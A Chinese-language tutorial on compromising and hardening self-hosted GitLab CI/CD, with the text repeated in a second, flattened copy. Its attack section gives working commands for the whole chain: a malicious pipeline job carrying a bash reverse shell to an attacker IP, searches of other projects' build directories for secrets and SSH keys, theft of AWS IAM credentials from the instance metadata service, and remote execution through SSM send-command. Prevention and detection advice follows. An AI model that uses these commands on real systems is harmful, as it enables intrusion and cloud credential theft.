攻破 GitLab: 攻击和防御自托管 CI/CD 环境
字数 4069 2025-11-05 23:45:18

攻破与防御自托管 GitLab CI/CD 环境:一份详尽指南

文档概述

本教学文档旨在深入剖析自托管 GitLab 实例的安全风险,并通过一次完整的攻击模拟(从初始访问到横向移动至云环境)来揭示其潜在威胁。同时,文档将提供详尽的防御和检测策略,以帮助安全团队和企业加固其 CI/CD 环境。

核心要点: 本攻击链的核心在于利用配置不当的 GitLab 实例级运行器 (Instance Runner) 作为跳板,通过其获取底层主机权限,进而窃取敏感信息并利用附加的云服务身份(如 AWS IAM 角色)实现横向移动,最终控制整个云环境。


第一部分:核心概念与术语

在发起攻击之前,必须理解 GitLab CI/CD 的核心组件。

1. 作业 (Jobs)

作业是 CI/CD 流水线中的最小执行单元,类似于一个函数或单个任务。它定义了要执行的具体命令。

  • 定义位置: 项目根目录下的 .gitlab-ci.yml 文件。
  • 示例:
    build_frontend:
      stage: build
      image: node:18
      script:
        - cd frontend
        - npm ci
        - npm run build
      artifacts:
        paths:
          - frontend/build
    
    • script 部分是该作业的核心,定义了由 GitLab 运行器执行的一系列命令。

2. GitLab 运行器 (GitLab Runners)

运行器是实际执行作业的代理程序。它们是与主 GitLab 实例分离的独立服务,可以部署在任意主机上。

  • 关键概念:作用域 (Scope)
    • 实例级运行器 (Instance Runners): 【高危配置】 对整个 GitLab 实例上的所有项目和所有用户可用。这是本攻击链的突破口。
    • 组级运行器 (Group Runners): 对特定群组下的所有项目可用。
    • 项目级运行器 (Project Runners): 仅对特定项目可用。
  • 关键概念:执行器 (Executor)
    • Shell 执行器: 【高危配置】 作业中的命令直接在运行器所在主机的操作系统上执行。一旦作业被劫持,攻击者将直接获得主机 shell。
    • Docker 执行器: 作业在独立的 Docker 容器中运行,提供了更好的隔离性。
    • 其他执行器包括 KubernetesVirtualBox 等。

第二部分:攻击链模拟

阶段一:初始访问 - 劫持运行器

攻击前提: 攻击者已获得目标 GitLab 实例的一个有效用户账号(例如,通过弱口令、社会工程学或配置错误的 SSO)。

攻击步骤:

  1. ** reconnaissance(信息侦察):**

    • 登录 GitLab,创建一个新的测试项目/仓库。
    • 导航至项目的 Settings -> CI/CD -> Runners (点击 Expand)。
    • 检查是否有可用的 Instance Runners 且状态为 Online。记录其 Tags(标签,如 vulnerable)。
  2. 武器化与投递:

    • 在项目根目录创建或编辑 .gitlab-ci.yml 文件。这是触发流水线的关键文件。
    • 编写一个恶意作业,使用上一步中发现的运行器标签。
    stages:
      - malicious
    
    malicious:
      stage: malicious
      tags:
        - vulnerable  # 指定使用带有此标签的运行器
      script:
        - id          # 查看当前执行用户
        - uname -a    # 查看系统信息
        - ip a        # 查看网络信息
        - curl https://ifconfig.me  # 测试出站网络连通性
    
    • 提交并推送该文件到仓库。GitLab 会自动触发一个新的流水线执行。
  3. 利用与执行:

    • 返回项目主页,观察流水线状态。若显示绿色对勾,则表示作业执行成功。
    • 点击流水线状态,查看作业详细日志,确认命令输出。
    • 关键判断: 如果 id 命令显示用户为 gitlab-runner,且 uname -a 显示的是主机内核信息(而非容器信息),则极有可能使用的是 Shell 执行器,攻击成功在望。
  4. 建立控制:

    • 升级攻击,在 .gitlab-ci.yml 中嵌入反向 Shell 命令,获取一个交互式会话。
    stages:
      - malicious
    
    malicious:
      stage: malicious
      tags:
        - vulnerable
      script:
        - /bin/bash -c '/bin/bash -i >& /dev/tcp/<你的攻击机IP>/<监听端口> 0>&1 &'
        # 或者使用更稳定的 payload,如:bash -i >& /dev/tcp/10.0.0.1/4444 0>&1
        # 注意:作业脚本是并行执行的,需确保 shell 在后台运行,以免作业超时。
    
    • 在攻击机上使用 nc -lvnp <监听端口> 启动监听。
    • 提交恶意 YAML 文件,等待连接建立。成功后会获得一个 gitlab-runner 用户的 shell。

阶段二:攻陷后利用 - 筛选秘密

获得运行器主机的 shell 后,开始横向和纵向的信息收集。

  1. 探索运行器工作目录:
    • 运行器的工作目录通常位于 /home/gitlab-runner/builds//var/lib/gitlab-runner 下。该目录包含其执行过的所有项目的缓存和工作区。
    • 使用 ls -la 命令浏览目录结构,你可能会发现其他项目(例如,属于 fake-admin 用户)的目录。
    cd /home/gitlab-runner/builds/
    ls -la
    cd <随机哈希>/0/fake-admin/important-project/
    ls -la
    
  2. 窃取敏感数据:
    • 在其它项目的目录中,寻找以下敏感文件:
      • .env 文件:通常包含数据库密码、API 密钥等环境变量。
      • .gitlab-ci.yml:可能硬编码了密码或引用了其他秘密文件。
      • SSH 私钥(如 id_rsa):可用于访问其他系统(如代码仓库、服务器)。
    • 查看 .gitlab-ci.yml,了解私钥的用途(如部署到哪个主机)。

阶段三:横向移动到云

如果运行器主机是云环境(如 AWS EC2)中的实例,攻击可以进一步升级。

  1. 查询云元数据服务:

    • AWS 提供了一个内部元数据服务,其 endpoint 为 http://169.254.169.254/。通过该服务可以获取实例的详细信息,包括其关联的 IAM 角色。
    • 由于现代 EC2 默认启用 IMDSv2,需要先获取一个令牌,然后用它查询。
    # 在运行器主机的 shell 中执行
    TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
    curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/
    
    • 上述命令会返回附加的 IAM 角色名称(如 VulnerableSSMRole)。继续查询该角色,获取临时的访问密钥(AccessKeyId, SecretAccessKey, Token)。
  2. 在攻击机上配置 AWS CLI:

    • 将窃取到的临时凭据配置到攻击机的 AWS CLI 中。
    # 在攻击机上执行
    aws configure set profile.vulnerable-role.aws_access_key_id <AccessKeyId>
    aws configure set profile.vulnerable-role.aws_secret_access_key <SecretAccessKey>
    aws configure set profile.vulnerable-role.aws_session_token <Token>
    
    • 验证凭据:aws sts get-caller-identity --profile vulnerable-role
  3. 利用 IAM 角色权限:

    • 枚举该 IAM 角色的权限。如果该角色具有 ssm:SendCommand 权限(如角色名 VulnerableSSMRole 所暗示),则可以通过 AWS Systems Manager 向该 EC2 实例或其他安装了 SSM Agent 的实例执行命令。
    • 获取实例 ID: 从元数据服务获取:curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/instance-id
    • 远程命令执行:
    # 在攻击机上执行
    aws ssm send-command \
        --instance-ids "<目标实例ID>" \
        --document-name "AWS-RunShellScript" \
        --parameters commands="echo 'gitlab-got-pwned' > /tmp/pwned.txt" \
        --profile vulnerable-role
    
    • 此命令将在目标实例上以 root 权限创建文件 /tmp/pwned.txt,标志着已完全攻陷该云服务器。

第三部分:防御与检测策略

A. 预防性控制

  1. 网络层面:

    • 严格的网络访问控制 (NAC): 将 GitLab 实例和运行器置于内部网络或 VPN 之后,禁止公网直接访问。这是最基础也是最有效的防御措施。
  2. 身份认证与授权:

    • 禁用公开注册: 在 GitLab 管理区域禁用用户公开注册(/admin/application_settings/general#sign-up-restrictions)。
    • 谨慎配置 SSO: 如果使用 OAuth/SSO,确保将其限制在特定的安全组或角色,避免整个组织的用户都能登录。
    • 强制双因素认证 (2FA): 为所有用户启用并强制使用 2FA。
  3. GitLab 运行器配置:【最关键】

    • 避免使用实例级运行器: 除非有极其严格的审计和控制,否则应完全禁用或避免创建实例级运行器。
    • 使用项目级或组级运行器: 将运行器的权限范围最小化,仅分配给需要的项目或群组。
    • 弃用 Shell 执行器: 永远不要在生产环境中使用 Shell 执行器。
    • 强制使用隔离的执行器: 使用 DockerKubernetes 执行器,确保每个作业都在一个全新的、隔离的容器中运行。
    • 使用标签进行精细控制: 为运行器设置明确的标签,并在作业中严格指定,避免作业被意外的运行器执行。
  4. 云服务配置:

    • 遵循最小权限原则: 附加到 EC2 实例的 IAM 角色应只拥有完成其任务所必需的最小权限。定期审计 IAM 策略。
    • 使用 IMDSv2: 确保所有 EC2 实例强制使用 IMDSv2(这是新实例的默认设置),这增加了从元数据服务获取信息的难度。

B. 检测性控制

  1. AWS CloudTrail 监控:

    • CloudTrail 会记录所有 API 调用。应设置告警,监控以下可疑行为:
    • ssm:SendCommand 调用,特别是来自不常见 IP 或针对非预期实例的调用。
    • 大量 ssm:DescribeInstanceInformationec2:DescribeInstances 调用(攻击者在枚举环境)。
    • 来自 GitLab 运行器实例的 sts:GetCallerIdentity 调用(这可能表明凭据已被窃取并在外部使用)。
  2. GitLab 审计日志:

    • 定期审查 GitLab 的管理员审计日志,监控异常的用户活动,例如新用户创建项目并立即触发包含可疑命令的流水线。
  3. 系统级监控:

    • 在运行器主机上部署 HIDS(基于主机的入侵检测系统),如 Osquery、Wazuh 或 Auditd,以检测反向 Shell 的建立、异常进程创建等行为。

总结

本次攻击演示了自托管 GitLab 环境中一个常见且危险的安全误区:为了方便而牺牲安全。一个配置不当的实例级运行器,结合弱隔离和过宽的云权限,足以让攻击者从单个普通用户权限演变为对整个云基础设施的控制。

防御的核心思想始终是:最小权限原则和纵深防御。 通过严格限制运行器的使用范围、强制作业隔离、收紧云身份权限并部署有效的监控,可以极大地降低此类攻击的风险。


免责声明: 本文档仅用于安全教学和研究目的。请勿将所述技术用于任何未授权的测试或攻击。在进行任何安全评估前,务必获得相关系统的明确授权。

攻破与防御自托管 GitLab CI/CD 环境:一份详尽指南 文档概述 本教学文档旨在深入剖析自托管 GitLab 实例的安全风险,并通过一次完整的攻击模拟(从初始访问到横向移动至云环境)来揭示其潜在威胁。同时,文档将提供详尽的防御和检测策略,以帮助安全团队和企业加固其 CI/CD 环境。 核心要点: 本攻击链的核心在于利用配置不当的 GitLab 实例级运行器 (Instance Runner) 作为跳板,通过其获取底层主机权限,进而窃取敏感信息并利用附加的云服务身份(如 AWS IAM 角色)实现横向移动,最终控制整个云环境。 第一部分:核心概念与术语 在发起攻击之前,必须理解 GitLab CI/CD 的核心组件。 1. 作业 (Jobs) 作业是 CI/CD 流水线中的最小执行单元,类似于一个函数或单个任务。它定义了要执行的具体命令。 定义位置: 项目根目录下的 .gitlab-ci.yml 文件。 示例: script 部分是该作业的核心,定义了由 GitLab 运行器执行的一系列命令。 2. GitLab 运行器 (GitLab Runners) 运行器是实际执行作业的代理程序。它们是与主 GitLab 实例分离的独立服务,可以部署在任意主机上。 关键概念:作用域 (Scope) 实例级运行器 (Instance Runners): 【高危配置】 对整个 GitLab 实例上的所有项目和所有用户可用。这是本攻击链的突破口。 组级运行器 (Group Runners): 对特定群组下的所有项目可用。 项目级运行器 (Project Runners): 仅对特定项目可用。 关键概念:执行器 (Executor) Shell 执行器: 【高危配置】 作业中的命令直接在运行器所在主机的操作系统上执行。一旦作业被劫持,攻击者将直接获得主机 shell。 Docker 执行器: 作业在独立的 Docker 容器中运行,提供了更好的隔离性。 其他执行器包括 Kubernetes 、 VirtualBox 等。 第二部分:攻击链模拟 阶段一:初始访问 - 劫持运行器 攻击前提: 攻击者已获得目标 GitLab 实例的一个有效用户账号(例如,通过弱口令、社会工程学或配置错误的 SSO)。 攻击步骤: ** reconnaissance(信息侦察):** 登录 GitLab,创建一个新的测试项目/仓库。 导航至项目的 Settings -> CI/CD -> Runners (点击 Expand )。 检查是否有可用的 Instance Runners 且状态为 Online 。记录其 Tags (标签,如 vulnerable )。 武器化与投递: 在项目根目录创建或编辑 .gitlab-ci.yml 文件。这是触发流水线的关键文件。 编写一个恶意作业,使用上一步中发现的运行器标签。 提交并推送该文件到仓库。GitLab 会自动触发一个新的流水线执行。 利用与执行: 返回项目主页,观察流水线状态。若显示绿色对勾,则表示作业执行成功。 点击流水线状态,查看作业详细日志,确认命令输出。 关键判断: 如果 id 命令显示用户为 gitlab-runner ,且 uname -a 显示的是主机内核信息(而非容器信息),则极有可能使用的是 Shell 执行器 ,攻击成功在望。 建立控制: 升级攻击,在 .gitlab-ci.yml 中嵌入反向 Shell 命令,获取一个交互式会话。 在攻击机上使用 nc -lvnp <监听端口> 启动监听。 提交恶意 YAML 文件,等待连接建立。成功后会获得一个 gitlab-runner 用户的 shell。 阶段二:攻陷后利用 - 筛选秘密 获得运行器主机的 shell 后,开始横向和纵向的信息收集。 探索运行器工作目录: 运行器的工作目录通常位于 /home/gitlab-runner/builds/ 或 /var/lib/gitlab-runner 下。该目录包含其执行过的所有项目的缓存和工作区。 使用 ls -la 命令浏览目录结构,你可能会发现其他项目(例如,属于 fake-admin 用户)的目录。 窃取敏感数据: 在其它项目的目录中,寻找以下敏感文件: .env 文件:通常包含数据库密码、API 密钥等环境变量。 .gitlab-ci.yml :可能硬编码了密码或引用了其他秘密文件。 SSH 私钥(如 id_rsa ):可用于访问其他系统(如代码仓库、服务器)。 查看 .gitlab-ci.yml ,了解私钥的用途(如部署到哪个主机)。 阶段三:横向移动到云 如果运行器主机是云环境(如 AWS EC2)中的实例,攻击可以进一步升级。 查询云元数据服务: AWS 提供了一个内部元数据服务,其 endpoint 为 http://169.254.169.254/ 。通过该服务可以获取实例的详细信息,包括其关联的 IAM 角色。 由于现代 EC2 默认启用 IMDSv2,需要先获取一个令牌,然后用它查询。 上述命令会返回附加的 IAM 角色名称(如 VulnerableSSMRole )。继续查询该角色,获取临时的访问密钥( AccessKeyId , SecretAccessKey , Token )。 在攻击机上配置 AWS CLI: 将窃取到的临时凭据配置到攻击机的 AWS CLI 中。 验证凭据: aws sts get-caller-identity --profile vulnerable-role 。 利用 IAM 角色权限: 枚举该 IAM 角色的权限。如果该角色具有 ssm:SendCommand 权限(如角色名 VulnerableSSMRole 所暗示),则可以通过 AWS Systems Manager 向该 EC2 实例或其他安装了 SSM Agent 的实例执行命令。 获取实例 ID: 从元数据服务获取: curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/instance-id 。 远程命令执行: 此命令将在目标实例上以 root 权限创建文件 /tmp/pwned.txt ,标志着已完全攻陷该云服务器。 第三部分:防御与检测策略 A. 预防性控制 网络层面: 严格的网络访问控制 (NAC): 将 GitLab 实例和运行器置于内部网络或 VPN 之后,禁止公网直接访问。这是最基础也是最有效的防御措施。 身份认证与授权: 禁用公开注册: 在 GitLab 管理区域禁用用户公开注册( /admin/application_settings/general#sign-up-restrictions )。 谨慎配置 SSO: 如果使用 OAuth/SSO,确保将其限制在特定的安全组或角色,避免整个组织的用户都能登录。 强制双因素认证 (2FA): 为所有用户启用并强制使用 2FA。 GitLab 运行器配置: 【最关键】 避免使用实例级运行器: 除非有极其严格的审计和控制,否则应完全禁用或避免创建实例级运行器。 使用项目级或组级运行器: 将运行器的权限范围最小化,仅分配给需要的项目或群组。 弃用 Shell 执行器: 永远不要在生产环境中使用 Shell 执行器。 强制使用隔离的执行器: 使用 Docker 或 Kubernetes 执行器,确保每个作业都在一个全新的、隔离的容器中运行。 使用标签进行精细控制: 为运行器设置明确的标签,并在作业中严格指定,避免作业被意外的运行器执行。 云服务配置: 遵循最小权限原则: 附加到 EC2 实例的 IAM 角色应只拥有完成其任务所必需的最小权限。定期审计 IAM 策略。 使用 IMDSv2: 确保所有 EC2 实例强制使用 IMDSv2(这是新实例的默认设置),这增加了从元数据服务获取信息的难度。 B. 检测性控制 AWS CloudTrail 监控: CloudTrail 会记录所有 API 调用。应设置告警,监控以下可疑行为: ssm:SendCommand 调用,特别是来自不常见 IP 或针对非预期实例的调用。 大量 ssm:DescribeInstanceInformation 或 ec2:DescribeInstances 调用(攻击者在枚举环境)。 来自 GitLab 运行器实例的 sts:GetCallerIdentity 调用(这可能表明凭据已被窃取并在外部使用)。 GitLab 审计日志: 定期审查 GitLab 的管理员审计日志,监控异常的用户活动,例如新用户创建项目并立即触发包含可疑命令的流水线。 系统级监控: 在运行器主机上部署 HIDS(基于主机的入侵检测系统),如 Osquery、Wazuh 或 Auditd,以检测反向 Shell 的建立、异常进程创建等行为。 总结 本次攻击演示了自托管 GitLab 环境中一个常见且危险的安全误区: 为了方便而牺牲安全 。一个配置不当的实例级运行器,结合弱隔离和过宽的云权限,足以让攻击者从单个普通用户权限演变为对整个云基础设施的控制。 防御的核心思想始终是:最小权限原则和纵深防御。 通过严格限制运行器的使用范围、强制作业隔离、收紧云身份权限并部署有效的监控,可以极大地降低此类攻击的风险。 免责声明: 本文档仅用于安全教学和研究目的。请勿将所述技术用于任何未授权的测试或攻击。在进行任何安全评估前,务必获得相关系统的明确授权。